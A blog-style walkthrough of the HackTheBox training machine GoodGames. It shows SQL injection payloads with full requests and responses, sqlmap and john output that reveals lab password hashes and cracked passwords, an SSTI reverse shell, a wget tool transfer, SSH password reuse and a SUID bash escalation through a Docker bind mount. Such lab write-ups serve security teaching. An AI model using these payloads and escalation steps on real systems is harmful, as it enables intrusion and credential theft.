Post

HackTheBox GoodGames

Writeup for HackTheBox GoodGames

HackTheBox GoodGames

Machine Synopsis

GoodGames is an Easy linux machine that showcases the importance of sanitising user inputs in web applications to prevent SQL injection attacks, using strong hashing algorithms in database structures to prevent the extraction and cracking of passwords from a compromised database, along with the dangers of password re-use. It also highlights the dangers of using render_template_string in a Python web application where user input is reflected, allowing Server Side Template Injection (SSTI) attacks. Privilege escalation involves docker hosts enumeration and shows how having admin privileges in a container and a low privilege user on the host machine can be dangerous, allowing attackers to escalate privileges to compromise the system. (Source)

Key exploitation techniques:

  • SQL Injection (time-based blind) for database enumeration and credential extraction
  • Password reuse
  • Server-Side Template Injection (SSTI) for RCE
  • Docker container enumeration and bind-mount exploitation
  • SUID binary creation for root access

Enumeration

1
2
3
4
5
6
$ nmap -sC -sV 10.10.11.130

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.51
|_http-title: GoodGames | Community and Store
|_http-server-header: Werkzeug/2.0.2 Python/3.9.2

The scan identified Apache HTTPD on port 80, indicating a Python Flask application.

website

sign_in

sign_up

coming_soon

dirb was used for directory enumeration.

1
2
3
4
5
6
7
8
$ dirb http://10.10.11.130 /usr/share/dirb/wordlists/common.txt
...
+ http://10.10.11.130/blog (CODE:200|SIZE:44212)
+ http://10.10.11.130/forgot-password (CODE:200|SIZE:32744)
+ http://10.10.11.130/login (CODE:200|SIZE:9294)
+ http://10.10.11.130/profile (CODE:200|SIZE:9267)
+ http://10.10.11.130/signup (CODE:200|SIZE:33387)
...

The login and signup pages were noted.

login_shiro

Registering a new account redirected to /profile.

1
2
3
4
5
6
7
8
9
10
GET /profile HTTP/1.1
Host: 10.10.11.130
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: session=.eJw1yzEOgCAMBdC7_Jk4OHbyJoZIgSYFklYm493VwfEN78Kejb2CclTnAG5RFASvYmMrn5ZjNARIAq0BOkrhJB102nzDdLYeG_8H9wO9bRya.YvnU-g.1QzgQMNG2LPeUtsdc83Lp8_gKLQ

Upgrade-Insecure-Requests: 1

profile

Attempts to edit profile details resulted in a 500 INTERNAL SERVER ERROR.

error

Exploitation

SQL Injection & Credential Disclosure

The login page was tested for SQL Injection. A time-based blind SQLi was identified using ' or 1=1-- -.

1
2
3
4
5
6
 POST /login HTTP/1.1
 Host: 10.10.11.130
 Content-Type: application/x-www-form-urlencoded
 Content-Length: 32
 
 email=%27+or+1%3D1--+-&password=

admin

This successful bypass redirected to /profile, confirming the vulnerability.

admin_profile

Manual SQLi (UNION SELECT) was then used to enumerate database structure and extract credentials.

First, the number of columns was determined.

1
2
3
4
5
6
7
8
9
# Request
POST /login HTTP/1.1
...
email=%27+union+select+1%2c2%2c3%2c4--+-&password=

# Response snippet
...
<h2 class="h4">Welcome 4</h2>
...

' union select 1,2,3,4-- -

The database had 4 columns. The database name was extracted.

1
2
3
4
5
6
7
8
9
10
# Request
POST /login HTTP/1.1
...
email=%27+union+select+1%2c2%2c3%2cdatabase%28%29--+-&password=

# Response snippet
...
<h2 class="h4">Welcome main</h2>
...

' union select 1,2,3,database()-- -

The database name was main. Tables in the main database were enumerated.

1
2
3
4
5
6
7
8
9
# Request
POST /login HTTP/1.1
...
email=%27+union+select+1%2c2%2c3%2cconcat%28table_name%2c+%22%2f%22%29+from+information_schema.tables+where+table_schema+%3d+%27main%27--+-&password=

# Response snippet
...
<h2 class="h4">Welcome blog/blog_comments/user/</h2>
...

' union select 1,2,3,concat(table_name, "/") from information_schema.tables where table_schema = 'main'-- -

The user table was identified. Its columns were enumerated.

1
2
3
4
5
6
7
8
9
# Request
POST /login HTTP/11
...
email=%27+union+select+1%2c2%2c3%2cconcat%28column_name%2c+%22%2f%22%29+from+information_schema.columns+where+table_schema+%3d+%27main%27+and+table_name+%3d+%27user%27--+-&password=

# Response snippet
...
<h2 class="h4">Welcome email/id/name/password/</h2>
...

' union select 1,2,3,concat(column_name, "/") from information_schema.columns where table_schema = 'main' and table_name = 'user'-- -

Finally, data from the user table was extracted.

1
2
3
4
5
6
7
8
9
10
# Request
POST /login HTTP/1.1
...
email=%27+union+select+1%2c2%2c3%2cconcat%28id%2c+%22%3a%22%2c+name%2c+%22%3a%22%2c+email%2c+%22%3a%22%2c+password%29+from+user--+-&password=

# Response snippet
...
1:admin:admin@goodgames.htb:2b22337f218b2d82dfc3b6f77e7cb8ec
2:shiro:shiro@gmail.com:5f4dcc3b5aa765d61d8327deb882cf99
...

' union select 1,2,3,concat(id, ":", name, ":", email, ":", password) from user-- -

This revealed admin:admin@goodgames.htb with hash 2b22337f218b2d82dfc3b6f77e7cb8ec and shiro:shiro@gmail.com with hash 5f4dcc3b5aa765d61d8327deb882cf99.

SQLMap Method (Alternative)

sqlmap could automate this process. A request file (login_request.txt) was created.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
$ cat login_request.txt
POST /login HTTP/1.1
Host: 10.10.11.130
...
email=shiro&password=password

$ sqlmap -r login_request.txt --batch
...
[INFO] the back-end DBMS is MySQL
...
$ sqlmap -r login_request.txt --batch --dbs
...
available databases [2]:
[*] information_schema
[*] main
...
$ sqlmap -r login_request.txt --batch -D main --tables
...
Database: main
[3 tables]
+---------------+
| user          |
| blog          |
| blog_comments |
+---------------+
...
$ sqlmap -r login_request.txt --batch -D main -T user --dump
...
[INFO] cracked password 'password' for hash '5f4dcc3b5aa765d61d8327deb882cf99'
Database: main
Table: user
[2 entries]
+----+-------+---------------------+---------------------------------------------+
| id | name  | email               | password                                    |
+----+-------+---------------------+---------------------------------------------+
| 1  | admin | admin@goodgames.htb | 2b22337f218b2d82dfc3b6f77e7cb8ec            |
| 2  | shiro | shiro@gmail.com     | 5f4dcc3b5aa765d61d8327deb882cf99 (password) |
+----+-------+---------------------+---------------------------------------------+

The admin password hash 2b22337f218b2d82dfc3b6f77e7cb8ec was identified as MD5 by hash-identifier and cracked using john (format Raw-MD5) with rockyou.txt.

1
2
3
4
5
6
7
8
9
$ hash-identifier
...
HASH: 2b22337f218b2d82dfc3b6f77e7cb8ec
Possible Hashs:
[+] MD5
...
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt -format=Raw-MD5
...
superadministrator (?)

The password superadministrator was found.

Server-Side Template Injection (SSTI) for RCE (root in Docker)

A hidden login page was discovered by clicking a gear icon on the admin’s profile page, leading to internal-administration.goodgames.htb. This subdomain was added to /etc/hosts.

1
2
3
4
$ cat /etc/hosts
...
10.10.11.130	goodgames.htb internal-administration.goodgames.htb
...

internal_login

Take note that the web server might be using (Python) Flask!

Login to http://internal-administration.goodgames.htb with admin:superadministrator was successful.

internal_dashboard

The /settings page allowed changing general information. The Server header in the response confirmed Werkzeug/2.0.2 Python/3.6.7, indicating a Flask application.

internal_settings

# Response snippet from GET /settings
HTTP/1.1 200 OK
Server: Werkzeug/2.0.2 Python/3.6.7
Content-Type: text/html; charset=utf-8
...

Testing for SSTI by inputting 0 into the “Full Name” field and saving, the displayed name updated to 1, confirming SSTI.

ssti_test

A working SSTI payload from PayloadAllTheThings was used to gain RCE: ``.

ssti_id

A netcat listener was set up on the attacking machine.

1
2
$ nc -nlvp 1234
listening on [any] 1234 ...

The SSTI payload was injected into the “Full Name” field and saved.

1
2
3
4
5
6
# Reverse shell received
connect to [10.10.14.14] from (UNKNOWN) [10.10.11.130] 48710
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@3a453ab39d3d:/backend# whoami
root

This granted a reverse shell as root inside a Docker container. The hostname 3a453ab39d3d confirmed the containerized environment.

Privilege Escalation

Docker Host Privilege Escalation (augustus)

Enumeration within the Docker container revealed a /home/augustus directory.

1
2
3
4
5
6
root@3a453ab39d3d:/backend# cd /home
root@3a453ab39d3d:/home# ls -la
total 12
drwxr-xr-x 1 root root 4096 Nov  5  2021 .
drwxr-xr-x 1 root root 4096 Nov  5  2021 ..
drwxr-xr-x 2 1000 1000 4096 Dec  2  2021 augustus

Crucially, augustus was not present in the container’s /etc/passwd. The mount command confirmed /home/augustus was a bind mount from the host.

1
2
3
root@3a453ab39d3d:/home/augustus# cat /etc/passwd | grep augustus # No output
root@3a453ab39d3d:/home/augustus# mount | grep augustus
/dev/sda1 on /home/augustus type ext4 (rw,relatime,errors=remount-ro)

The Docker host’s IP was identified by inspecting the container’s network interface (eth0) and scanning the local subnet with a static nmap binary.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
root@3a453ab39d3d:/home/augustus# ip addr
...
5: eth0@if6: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:ac:13:00:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 172.19.0.2/16 brd 172.19.255.255 scope global eth0
...

# On attacking machine, download static nmap
$ wget https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/nmap

# On container, download nmap and scan subnet
root@3a453ab39d3d:/home/augustus# wget http://10.10.14.14/nmap
root@3a453ab39d3d:/home/augustus# chmod +x nmap
root@3a453ab39d3d:/home/augustus# ./nmap 172.19.0.2/24
...
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
...

The scan (and common Docker networking patterns) indicated 172.19.0.1 was the Docker host, with SSH (22/tcp) and HTTP (80/tcp) open.

An SSH connection was attempted to the host as augustus using the superadministrator password (password reuse from the web admin). A proper TTY was spawned first using python3 -c 'import pty;pty.spawn("/bin/bash")'.

1
2
3
4
5
6
7
8
9
root@3a453ab39d3d:/home/augustus# python3 -c 'import pty;pty.spawn("/bin/bash")'
ssh augustus@172.19.0.1
The authenticity of host '172.19.0.1 (172.19.0.1)' can't be established.
...
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '172.19.0.1' (ECDSA) to the list of known hosts.
augustus@172.19.0.1's password: superadministrator
...
augustus@GoodGames:~$

SSH access to the host as augustus was successful. sudo -l showed no privileges.

SUID Binary Creation (Root)

The nmap binary previously downloaded into /home/augustus (which is bind-mounted) was owned by root on the host, suggesting a potential ownership issue. This allowed for a SUID binary creation attack.

/bin/bash was copied to the current directory (/home/augustus).

1
2
3
augustus@GoodGames:~$ cp /bin/bash .
augustus@GoodGames:~$ ls
bash  nmap  user.txt

From the root shell in the Docker container, the ownership of the copied bash binary in the bind-mounted /home/augustus was changed to root, and the SUID bit was set.

1
2
3
4
5
6
7
8
9
10
# Exit augustus SSH session
augustus@GoodGames:~$ exit
logout
Connection to 172.19.0.1 closed.

# Back in Docker root shell
root@3a453ab39d3d:/home/augustus# ls
bash  nmap  user.txt
root@3a453ab39d3d:/home/augustus# chown root:root bash
root@3a453ab39d3d:/home/augustus# chmod +s bash

Finally, a new SSH connection was made to the host as augustus. The SUID bash binary was then executed with the -p flag to preserve privileges, granting a root shell.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ ssh augustus@172.19.0.1
augustus@172.19.0.1's password: superadministrator
...
augustus@GoodGames:~$ ls -la
...
-rwsr-sr-x 1 root     root     1234376 Aug 15 15:01 bash
...
augustus@GoodGames:~$ ./bash -p

bash-5.1# whoami
root
bash-5.1# cat /home/augustus/user.txt
e950d45708b4f0294a0facc97621ef35
bash-5.1# cat /root/root.txt
4c445d98ed713a143512122ca28a9d5f
This post is licensed under CC BY 4.0 by the author.